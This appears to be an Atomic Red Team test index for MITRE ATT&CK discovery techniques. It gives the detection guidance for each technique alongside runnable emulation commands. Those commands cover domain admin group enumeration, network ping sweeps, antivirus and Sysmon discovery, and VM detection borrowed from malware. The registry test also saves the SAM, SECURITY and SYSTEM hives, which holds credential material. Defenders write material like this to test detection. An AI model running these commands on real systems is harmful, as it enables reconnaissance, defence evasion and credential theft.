Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Microsoft Threat Intelligence Center (MSTIC)
created: '2017-05-31T21:30:55.471Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: discovery
external_references:
- external_id: T1069
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1069
- source_name: capec
external_id: CAPEC-576
url: https://capec.mitre.org/data/definitions/576.html
- source_name: Microsoft msrole
description: Microsoft. (n.d.). Get-MsolRole. Retrieved October 6, 2019.
url: https://docs.microsoft.com/en-us/powershell/module/msonline/get-msolrole?view=azureadps-1.0
- source_name: GitHub Raindance
description: Stringer, M.. (2018, November 21). RainDance. Retrieved October
6, 2019.
url: https://github.com/True-Demon/raindance
- source_name: Microsoft AZ CLI
description: Microsoft. (n.d.). az ad user. Retrieved October 6, 2019.
url: https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest
- source_name: Black Hills Red Teaming MS AD Azure, 2018
description: Felch, M.. (2018, August 31). Red Teaming Microsoft Part 1 Active
Directory Leaks via Azure. Retrieved October 6, 2019.
url: https://www.blackhillsinfosec.com/red-teaming-microsoft-part-1-active-directory-leaks-via-azure/
modified: '2019-10-18T20:37:17.043Z'
identifier: T1069
atomic_tests:
- name: Elevated group enumeration using net group
description: 'Runs ''net group'' command including command aliases and loose
typing to simulate enumeration/discovery of high value domain groups
'
supported_platforms:
- windows
executor:
name: command_prompt
elevation_required: false
command: |
net group /domai 'Domain Admins'
net groups 'Account Operators' /doma
net groups 'Exchange Organization Management' /doma
net group 'BUILTIN\Backup Operators' /doma
T1057:
technique:
x_mitre_data_sources:
- Process monitoring
- Process command-line parameters
x_mitre_permissions_required:
- User
- Administrator
- SYSTEM
name: Process Discovery
description: |-
Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software running on systems within the network. Adversaries may use the information from [Process Discovery](https://attack.mitre.org/techniques/T1057) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
### Windows
An example command that would obtain details on processes is "tasklist" using the [Tasklist](https://attack.mitre.org/software/S0057) utility.
### Mac and Linux
In Mac and Linux, this is accomplished with the ps command.
id: attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580
x_mitre_platforms:
- Linux
- macOS
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.1'
x_mitre_system_requirements:
- Administrator, SYSTEM may provide better process ownership details
type: attack-pattern
x_mitre_detection: |-
System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.
Normal, benign system and network events that look like process discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
created: '2017-05-31T21:30:48.728Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: discovery
external_references:
- external_id: T1057
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1057
- source_name: capec
external_id: CAPEC-573
url: https://capec.mitre.org/data/definitions/573.html
modified: '2019-08-12T19:49:12.584Z'
identifier: T1057
atomic_tests:
- name: Process Discovery - ps
description: 'Utilize ps to identify processes
'
supported_platforms:
- macos
- centos
- ubuntu
- linux
input_arguments:
output_file:
description: path of output file
type: path
default: "/tmp/loot.txt"
executor:
name: sh
elevation_required: false
command: |
ps >> #{output_file}
ps aux >> #{output_file}
T1012:
technique:
x_mitre_data_sources:
- Windows Registry
- Process monitoring
- Process command-line parameters
x_mitre_permissions_required:
- User
- Administrator
- SYSTEM
name: Query Registry
description: |-
Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
The Registry contains a significant amount of information about the operating system, configuration, software, and security. (Citation: Wikipedia Windows Registry) Some of the information may help adversaries to further their operation within a network. Adversaries may use the information from [Query Registry](https://attack.mitre.org/techniques/T1012) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
id: attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896
x_mitre_platforms:
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.1'
type: attack-pattern
x_mitre_detection: |-
System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.
Interaction with the Windows Registry may come from the command line using utilities such as [Reg](https://attack.mitre.org/software/S0075) or through running malware that may interact with the Registry through an API. Command-line invocation of utilities used to query the Registry may be detected through process and command-line monitoring. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
created: '2017-05-31T21:30:25.584Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: discovery
external_references:
- external_id: T1012
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1012
- source_name: capec
external_id: CAPEC-647
url: https://capec.mitre.org/data/definitions/647.html
- source_name: Wikipedia Windows Registry
description: Wikipedia. (n.d.). Windows Registry. Retrieved February 2, 2015.
url: https://en.wikipedia.org/wiki/Windows_Registry
modified: '2019-08-12T19:53:51.766Z'
identifier: T1012
atomic_tests:
- name: Query Registry
description: |
Query Windows Registry
References:
https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order
https://blog.cylance.com/windows-registry-persistence-part-1-introduction-attack-phases-and-windows-services
References:
http://www.handgrep.se/repository/cheatsheets/postexploitation/WindowsPost-Exploitation.pdf
https://www.offensive-security.com/wp-content/uploads/2015/04/wp.Registry_Quick_Find_Chart.en_us.pdf
supported_platforms:
- windows
executor:
name: command_prompt
elevation_required: true
command: |
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows"
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunServices
reg query HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify
reg query HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
reg query HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\\Shell
reg query HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\\Shell
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnceEx
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
reg query hklm\system\currentcontrolset\services /s | findstr ImagePath 2>nul | findstr /Ri ".*\.sys$"
reg Query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
reg save HKLM\Security security.hive
reg save HKLM\System system.hive
reg save HKLM\SAM sam.hive
T1018:
technique:
x_mitre_data_sources:
- Network protocol analysis
- Process monitoring
- Process use of network
- Process command-line parameters
x_mitre_permissions_required:
- User
- Administrator
- SYSTEM
name: Remote System Discovery
description: "Adversaries will likely attempt to get a listing of other systems
by IP address, hostname, or other logical identifier on a network that may
be used for Lateral Movement from the current system. Functionality could
exist within remote access tools to enable this, but utilities available on
the operating system could also be used. Adversaries may also use local host
files in order to discover the hostname to IP address mappings of remote systems.
\n\n### Windows\n\nExamples of tools and commands that acquire this information
include \"ping\" or \"net view\" using [Net](https://attack.mitre.org/software/S0039).
The contents of the C:\\Windows\\System32\\Drivers\\etc\\hosts
file can be viewed to gain insight into the existing hostname to IP mappings
on the system.\n\n### Mac\n\nSpecific to Mac, the bonjour protocol
to discover additional Mac-based systems within the same broadcast domain.
Utilities such as \"ping\" and others can be used to gather information about
remote systems. The contents of the /etc/hosts file can be viewed
to gain insight into existing hostname to IP mappings on the system.\n\n###
Linux\n\nUtilities such as \"ping\" and others can be used to gather information
about remote systems. The contents of the /etc/hosts file can
be viewed to gain insight into existing hostname to IP mappings on the system.\n\n###
Cloud\n\nIn cloud environments, the above techniques may be used to discover
remote systems depending upon the host operating system. In addition, cloud
environments often provide APIs with information about remote systems and
services.\n"
id: attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735
x_mitre_platforms:
- Linux
- macOS
- Windows
- GCP
- Azure
- AWS
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '2.0'
type: attack-pattern
x_mitre_detection: "System and network discovery techniques normally occur throughout
an operation as an adversary learns the environment. Data and events should
not be viewed in isolation, but as part of a chain of behavior that could
lead to other activities, such as Lateral Movement, based on the information
obtained.\n\nNormal, benign system and network events related to legitimate
remote system discovery may be uncommon, depending on the environment and
how they are used. Monitor processes and command-line arguments for actions
that could be taken to gather system and network information. Remote access
tools with built-in features may interact directly with the Windows API to
gather information. Information may also be acquired through Windows system
management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047)
and [PowerShell](https://attack.mitre.org/techniques/T1086). "
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Praetorian
- RedHuntLabs (@redhuntlabs)
created: '2017-05-31T21:30:28.187Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: discovery
external_references:
- external_id: T1018
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1018
- source_name: capec
external_id: CAPEC-292
url: https://capec.mitre.org/data/definitions/292.html
modified: '2019-10-08T20:36:57.696Z'
identifier: T1018
atomic_tests:
- name: Remote System Discovery - net
description: 'Identify remote systems with net.exe
'
supported_platforms:
- windows
executor:
name: command_prompt
elevation_required: false
command: |
net view /domain
net view
- name: Remote System Discovery - ping sweep
description: 'Identify remote systems via ping sweep
'
supported_platforms:
- windows
executor:
name: command_prompt
elevation_required: false
command: 'for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i
'
- name: Remote System Discovery - arp
description: 'Identify remote systems via arp
'
supported_platforms:
- windows
executor:
name: command_prompt
elevation_required: false
command: 'arp -a
'
- name: Remote System Discovery - arp nix
description: 'Identify remote systems via arp
'
supported_platforms:
- linux
- macos
executor:
name: sh
elevation_required: false
command: 'arp -a | grep -v ''^?''
'
- name: Remote System Discovery - sweep
description: 'Identify remote systems via ping sweep
'
supported_platforms:
- linux
- macos
executor:
name: sh
elevation_required: false
command: 'for ip in $(seq 1 254); do ping -c 1 192.168.1.$ip -o; [ $? -eq
0 ] && echo "192.168.1.$ip UP" || : ; done
'
- name: Remote System Discovery - nslookup
description: 'Powershell script that runs nslookup on cmd.exe against the local
/24 network of the first network adaptor listed in ipconfig
'
supported_platforms:
- windows
executor:
name: powershell
elevation_required: true
command: |
$localip = ((ipconfig | findstr [0-9].\.)[0]).Split()[-1]
$pieces = $localip.split(".")
$firstOctet = $pieces[0]
$secondOctet = $pieces[1]
$thirdOctet = $pieces[2]
foreach ($ip in 1..255 | % { "$firstOctet.$secondOctet.$thirdOctet.$_" } ) {cmd.exe /c nslookup $ip}
T1063:
technique:
x_mitre_data_sources:
- File monitoring
- Process monitoring
- Process command-line parameters
x_mitre_permissions_required:
- User
- Administrator
- SYSTEM
name: Security Software Discovery
description: |-
Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on the system. This may include things such as local firewall rules and anti-virus. Adversaries may use the information from [Security Software Discovery](https://attack.mitre.org/techniques/T1063) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
### Windows
Example commands that can be used to obtain security software information are [netsh](https://attack.mitre.org/software/S0108), reg query with [Reg](https://attack.mitre.org/software/S0075), dir with [cmd](https://attack.mitre.org/software/S0106), and [Tasklist](https://attack.mitre.org/software/S0057), but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for.
### Mac
It's becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.
id: attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7
x_mitre_platforms:
- macOS
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '2.1'
type: attack-pattern
x_mitre_detection: |-
System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained.
Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
created: '2017-05-31T21:30:51.330Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: discovery
external_references:
- external_id: T1063
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1063
modified: '2019-09-12T19:56:36.399Z'
identifier: T1063
atomic_tests:
- name: Security Software Discovery
description: 'Methods to identify Security Software on an endpoint
'
supported_platforms:
- windows
executor:
name: command_prompt
elevation_required: false
command: |
netsh.exe advfirewall firewall show all profiles
tasklist.exe
tasklist.exe | findstr /i virus
tasklist.exe | findstr /i cb
tasklist.exe | findstr /i defender
tasklist.exe | findstr /i cylance
- name: Security Software Discovery - powershell
description: 'Methods to identify Security Software on an endpoint
'
supported_platforms:
- windows
executor:
name: powershell
elevation_required: false
command: |
get-process | ?{$_.Description -like "*virus*"}
get-process | ?{$_.Description -like "*carbonblack*"}
get-process | ?{$_.Description -like "*defender*"}
get-process | ?{$_.Description -like "*cylance*"}
- name: Security Software Discovery - ps
description: 'Methods to identify Security Software on an endpoint
'
supported_platforms:
- linux
- macos
executor:
name: sh
elevation_required: false
command: |
ps -ef | grep Little\ Snitch | grep -v grep
ps aux | grep CbOsxSensorService
- name: Security Software Discovery - Sysmon Service
description: 'Discovery of an installed Sysinternals Sysmon service using driver
altitude (even if the name is changed).
'
supported_platforms:
- windows
executor:
name: command_prompt
elevation_required: true
command: fltmc.exe | findstr.exe 385201
T1082:
technique:
x_mitre_permissions_required:
- User
x_mitre_data_sources:
- Azure activity logs
- Stackdriver logs
- AWS CloudTrail logs
- Process monitoring
- Process command-line parameters
name: System Information Discovery
description: |-
An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from [System Information Discovery](https://attack.mitre.org/techniques/T1082) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
### Windows
Example commands and utilities that obtain this information include ver, [Systeminfo](https://attack.mitre.org/software/S0096), and dir within [cmd](https://attack.mitre.org/software/S0106) for identifying information based on present files and directories.
### Mac
On Mac, the systemsetup command gives a detailed breakdown of the system, but it requires administrative privileges. Additionally, the system_profiler gives a very detailed breakdown of configurations, firewall rules, mounted volumes, hardware, and many other things without needing elevated permissions.
### AWS
In Amazon Web Services (AWS), the Application Discovery Service may be used by an adversary to identify servers, virtual machines, software, and software dependencies running.(Citation: Amazon System Discovery)
### GCP
On Google Cloud Platform (GCP) GET /v1beta1/{parent=organizations/*}/assets or POST /v1beta1/{parent=organizations/*}/assets:runDiscovery may be used to list an organizations cloud assets, or perform asset discovery on a cloud environment.(Citation: Google Command Center Dashboard)
### Azure
In Azure, the API request GET https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Compute/virtualMachines/{vmName}?api-version=2019-03-01 may be used to retrieve information about the model or instance view of a virtual machine.(Citation: Microsoft Virutal Machine API)
id: attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1
x_mitre_platforms:
- Linux
- macOS
- Windows
- AWS
- GCP
- Azure
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '2.0'
type: attack-pattern
x_mitre_detection: |-
System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.
Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).
In cloud-based systems, native logging can be used to identify access to certain APIs and dashboards that may contain system information. Depending on how the environment is used, that data alone may not be useful due to benign use during normal operations.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Praetorian
created: '2017-05-31T21:31:04.307Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: discovery
external_references:
- external_id: T1082
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1082
- source_name: capec
external_id: CAPEC-312
url: https://capec.mitre.org/data/definitions/312.html
- source_name: Amazon System Discovery
description: Amazon. (n.d.). What Is AWS Application Discovery Service?. Retrieved
October 8, 2019.
url: https://docs.aws.amazon.com/en_pv/application-discovery/latest/userguide/what-is-appdiscovery.html
- source_name: Google Command Center Dashboard
description: 'Google. (2019, October 3). Quickstart: Using the dashboard.
Retrieved October 8, 2019.'
url: https://cloud.google.com/security-command-center/docs/quickstart-scc-dashboard
- source_name: Microsoft Virutal Machine API
description: Microsoft. (2019, March 1). Virtual Machines - Get. Retrieved
October 8, 2019.
url: https://docs.microsoft.com/en-us/rest/api/compute/virtualmachines/get
modified: '2019-10-10T17:30:17.393Z'
identifier: T1082
atomic_tests:
- name: System Information Discovery
description: 'Identify System Info
'
supported_platforms:
- windows
executor:
name: command_prompt
elevation_required: false
command: |
systeminfo
reg query HKLM\SYSTEM\CurrentControlSet\Services\Disk\Enum
- name: System Information Discovery
description: 'Identify System Info
'
supported_platforms:
- linux
- macos
executor:
name: sh
command: |
systemsetup
system_profiler
ls -al /Applications
- name: List OS Information
description: 'Identify System Info
'
supported_platforms:
- linux
- macos
executor:
name: sh
command: |
uname -a >> /tmp/loot.txt
cat /etc/lsb-release >> /tmp/loot.txt
cat /etc/redhat-release >> /tmp/loot.txt
uptime >> /tmp/loot.txt
cat /etc/issue >> /tmp/loot.txt
- name: Linux VM Check via Hardware
description: 'Identify virtual machine hardware. This technique is used by the
Pupy RAT and other malware.
'
supported_platforms:
- linux
executor:
name: bash
command: |
cat /sys/class/dmi/id/bios_version | grep -i amazon
cat /sys/class/dmi/id/product_name | grep -i "Droplet\|HVM\|VirtualBox\|VMware"
cat /sys/class/dmi/id/chassis_vendor | grep -i "Xen\|Bochs\|QEMU"
sudo dmidecode | grep -i "microsoft\|vmware\|virtualbox\|quemu\|domu"
cat /proc/scsi/scsi | grep -i "vmware\|vbox"
cat /proc/ide/hd0/model | grep -i "vmware\|vbox\|qemu\|virtual"
sudo lspci | grep -i "vmware\|virtualbox"
sudo lscpu | grep -i "Xen\|KVM\|Microsoft"
- name: Linux VM Check via Kernel Modules
description: 'Identify virtual machine guest kernel modules. This technique
is used by the Pupy RAT and other malware.
'
supported_platforms:
- linux
executor:
name: bash
command: |-
sudo lsmod | grep -i "vboxsf\|vboxguest"
sudo lsmod | grep -i "vmw_baloon\|vmxnet"
sudo lsmod | grep -i "xen-vbd\|xen-vnif"
sudo lsmod | grep -i "virtio_pci\|virtio_net"
sudo lsmod | grep -i "hv_vmbus\|hv_blkvsc\|hv_netvsc\|hv_utils\|hv_storvsc"
T1016:
technique:
x_mitre_data_sources:
- Process monitoring
- Process command-line parameters
x_mitre_permissions_required:
- User
name: System Network Configuration Discovery
description: |-
Adversaries will likely look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include [Arp](https://attack.mitre.org/software/S0099), [ipconfig](https://attack.mitre.org/software/S0100)/[ifconfig](https://attack.mitre.org/software/S0101), [nbtstat](https://attack.mitre.org/software/S0102), and [route](https://attack.mitre.org/software/S0103).
Adversaries may use the information from [System Network Configuration Discovery](https://attack.mitre.org/techniques/T1016) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
id: attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0
x_mitre_platforms:
- Linux
- macOS
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.1'
type: attack-pattern
x_mitre_detection: |-
System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.
Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
created: '2017-05-31T21:30:27.342Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: discovery
external_references:
- external_id: T1016
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1016
- source_name: capec
external_id: CAPEC-309
url: https://capec.mitre.org/data/definitions/309.html
modified: '2019-08-12T19:44:26.156Z'
identifier: T1016
atomic_tests:
- name: System Network Configuration Discovery
description: 'Identify network configuration information
'
supported_platforms:
- windows
executor:
name: command_prompt
elevation_required: false
command: |
ipconfig /all
netsh interface show
arp -a
nbtstat -n
net config
- name: System Network Configuration Discovery
description: 'Identify network configuration information
'
supported_platforms:
- macos
- linux
executor:
name: sh
elevation_required: false
command: |
arp -a
netstat -ant | awk '{print $NF}' | grep -v '[a-z]' | sort | uniq -c
ifconfig
T1049:
technique:
x_mitre_permissions_required:
- User
- Administrator
x_mitre_data_sources:
- Process monitoring
- Process command-line parameters
name: System Network Connections Discovery
description: "Adversaries may attempt to get a listing of network connections
to or from the compromised system they are currently accessing or from remote
systems by querying for information over the network. \n\nAn adversary who
gains access to a system that is part of a cloud-based environment may map
out Virtual Private Clouds or Virtual Networks in order to determine what
systems and services are connected. The actions performed are likely the same
types of discovery techniques depending on the operating system, but the resulting
information may include details about the networked cloud environment relevant
to the adversary's goals. Cloud providers may have different ways in which
their virtual networks operate.(Citation: Amazon AWS VPC Guide)(Citation:
Microsoft Azure Virtual Network Overview)(Citation: Google VPC Overview)\n\n###
Windows\n\nUtilities and commands that acquire this information include [netstat](https://attack.mitre.org/software/S0104),
\"net use,\" and \"net session\" with [Net](https://attack.mitre.org/software/S0039).\n\n###
Mac and Linux \n\nIn Mac and Linux, netstat and lsof
can be used to list current connections. who -a and w
can be used to show which users are currently logged in, similar to \"net
session\"."
id: attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475
x_mitre_platforms:
- Linux
- macOS
- Windows
- AWS
- GCP
- Azure
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '2.0'
type: attack-pattern
x_mitre_detection: |-
System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.
Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Praetorian
created: '2017-05-31T21:30:45.139Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: discovery
external_references:
- external_id: T1049
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1049
- description: Amazon. (n.d.). What Is Amazon VPC?. Retrieved October 6, 2019.
source_name: Amazon AWS VPC Guide
url: https://docs.aws.amazon.com/vpc/latest/userguide/what-is-amazon-vpc.html
- description: Annamalai, N., Casey, C., Almeida, M., et. al.. (2019, June 18).
What is Azure Virtual Network?. Retrieved October 6, 2019.
source_name: Microsoft Azure Virtual Network Overview
url: https://docs.microsoft.com/en-us/azure/virtual-network/virtual-networks-overview
- description: Google. (2019, September 23). Virtual Private Cloud (VPC) network
overview. Retrieved October 6, 2019.
source_name: Google VPC Overview
url: https://cloud.google.com/vpc/docs/vpc
modified: '2019-10-06T17:57:39.670Z'
identifier: T1049
atomic_tests:
- name: System Network Connections Discovery
description: 'Get a listing of network connections.
'
supported_platforms:
- windows
executor:
name: command_prompt
elevation_required: false
command: |
netstat
net use
net sessions
- name: System Network Connections Discovery with PowerShell
description: 'Get a listing of network connections.
'
supported_platforms:
- windows
executor:
name: powershell
elevation_required: false
command: 'Get-NetTCPConnection
'
- name: System Network Connections Discovery Linux & MacOS
description: 'Get a listing of network connections.
'
supported_platforms:
- linux
- macos
executor:
name: sh
elevation_required: false
command: |
netstat
who -a
T1033:
technique:
x_mitre_permissions_required:
- User
- Administrator
x_mitre_data_sources:
- File monitoring
- Process monitoring
- Process command-line parameters
name: System Owner/User Discovery
description: |-
### Windows
Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using [Credential Dumping](https://attack.mitre.org/techniques/T1003). The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
### Mac
On Mac, the currently logged in user can be identified with users,w, and who.
### Linux
On Linux, the currently logged in user can be identified with w and who.
id: attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104
x_mitre_platforms:
- Linux
- macOS
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.1'
type: attack-pattern
x_mitre_detection: |-
System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.
Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
created: '2017-05-31T21:30:35.733Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: discovery
external_references:
- external_id: T1033
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1033
- source_name: capec
external_id: CAPEC-577
url: https://capec.mitre.org/data/definitions/577.html
modified: '2019-08-12T19:47:54.288Z'
identifier: T1033
atomic_tests:
- name: System Owner/User Discovery
description: 'Identify System owner or users on an endpoint
'
supported_platforms:
- windows
input_arguments:
computer_name:
description: Name of remote computer
type: string
default: computer1
executor:
name: command_prompt
elevation_required: false
command: |
cmd.exe /C whoami
wmic useraccount get /ALL
quser /SERVER:"#{computer_name}"
quser
qwinsta.exe" /server:#{computer_name}
qwinsta.exe
for /F "tokens=1,2" %i in ('qwinsta /server:#{computer_name} ^| findstr "Active Disc"') do @echo %i | find /v "#" | find /v "console" || echo %j > usernames.txt
@FOR /F %n in (computers.txt) DO @FOR /F "tokens=1,2" %i in ('qwinsta /server:%n ^| findstr "Active Disc"') do @echo %i | find /v "#" | find /v "console" || echo %j > usernames.txt
- name: System Owner/User Discovery
description: 'Identify System owner or users on an endpoint
'
supported_platforms:
- linux
- macos
executor:
name: sh
elevation_required: false
command: |
users
w
who
T1007:
technique:
x_mitre_data_sources:
- Process monitoring
- Process command-line parameters
x_mitre_permissions_required:
- User
- Administrator
- SYSTEM
name: System Service Discovery
description: Adversaries may try to get information about registered services.
Commands that may obtain information about services using operating system
utilities are "sc," "tasklist /svc" using [Tasklist](https://attack.mitre.org/software/S0057),
and "net start" using [Net](https://attack.mitre.org/software/S0039), but
adversaries may also use other tools as well. Adversaries may use the information
from [System Service Discovery](https://attack.mitre.org/techniques/T1007)
during automated discovery to shape follow-on behaviors, including whether
or not the adversary fully infects the target and/or attempts specific actions.
id: attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa
x_mitre_platforms:
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.1'
type: attack-pattern
x_mitre_detection: |-
System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.
